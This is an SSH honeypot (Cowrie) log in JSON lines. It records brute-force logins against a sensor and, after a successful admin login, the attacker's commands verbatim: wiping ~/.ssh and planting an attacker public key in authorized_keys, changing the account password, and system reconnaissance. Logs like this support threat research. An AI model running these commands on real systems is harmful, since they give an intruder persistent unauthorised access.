{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:33.919266Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer2019","message":"login attempt [developer/developer2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:33.991525Z","src_ip":"43.173.69.147","session":"b719da8c9d2f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin2002","message":"login attempt [admin/admin2002] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:34.463773Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:34.777182Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:34.780391Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:34.783948Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:34.921116Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:35.061858Z","src_ip":"43.173.69.147","session":"b719da8c9d2f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:35.217129Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:35.220743Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:35.355294Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:35.359258Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.219.137","src_port":5702,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc83c519fbb7","protocol":"ssh","message":"New connection: 131.161.219.137:5702 (159.203.135.109:22) [session: dc83c519fbb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:35.479461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:35.484504Z","src_ip":"131.161.219.137","session":"dc83c519fbb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:35.613328Z","src_ip":"131.161.219.137","session":"dc83c519fbb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:36.158000Z","src_ip":"131.161.219.137","session":"dc83c519fbb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:37.288099Z","src_ip":"131.161.219.137","session":"dc83c519fbb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.219.137","src_port":5690,"dst_ip":"159.203.135.109","dst_port":22,"session":"074607c0ef2a","protocol":"ssh","message":"New connection: 131.161.219.137:5690 (159.203.135.109:22) [session: 074607c0ef2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:37.412981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:37.416993Z","src_ip":"131.161.219.137","session":"074607c0ef2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:37.547981Z","src_ip":"131.161.219.137","session":"074607c0ef2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:38.090240Z","src_ip":"131.161.219.137","session":"074607c0ef2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:39.222559Z","src_ip":"131.161.219.137","session":"074607c0ef2a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:39.398103Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:39.401310Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:39.533609Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:39.857432Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin2002\\n7bJ1nVjIkctV\\n7bJ1nVjIkctV\"|passwd|bash","message":"CMD: echo -e \"admin2002\\n7bJ1nVjIkctV\\n7bJ1nVjIkctV\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:39.860019Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:39.862474Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:39.865004Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/6378f11a4b6b517d8855c4a3c12358aecf3b3b06250b0fe4ea069e625e7f6ad8","size":32,"shasum":"6378f11a4b6b517d8855c4a3c12358aecf3b3b06250b0fe4ea069e625e7f6ad8","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/6378f11a4b6b517d8855c4a3c12358aecf3b3b06250b0fe4ea069e625e7f6ad8 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:39.997672Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:40.296900Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin2002\\n7bJ1nVjIkctV\\n7bJ1nVjIkctV\\n\"|passwd","message":"CMD: echo \"admin2002\\n7bJ1nVjIkctV\\n7bJ1nVjIkctV\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:40.300551Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4476f731a0d6ecf0cf3c894f720e730ccdc0024f3fe14ba46b2cf424b335648f","size":25,"shasum":"4476f731a0d6ecf0cf3c894f720e730ccdc0024f3fe14ba46b2cf424b335648f","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4476f731a0d6ecf0cf3c894f720e730ccdc0024f3fe14ba46b2cf424b335648f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:40.432927Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:40.779170Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:40.782514Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:40.915305Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:41.211743Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:41.215115Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:41.346671Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:41.639203Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:41.642455Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:41.645789Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:41.778331Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:42.077167Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:42.080432Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:42.210891Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:42.500854Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:42.503996Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:42.633270Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:42.942463Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:42.945492Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:43.077110Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:43.370346Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:02:43.373883Z","src_ip":"131.161.219.137","session":"15cbb7a34d8e","protocol":"ssh"}
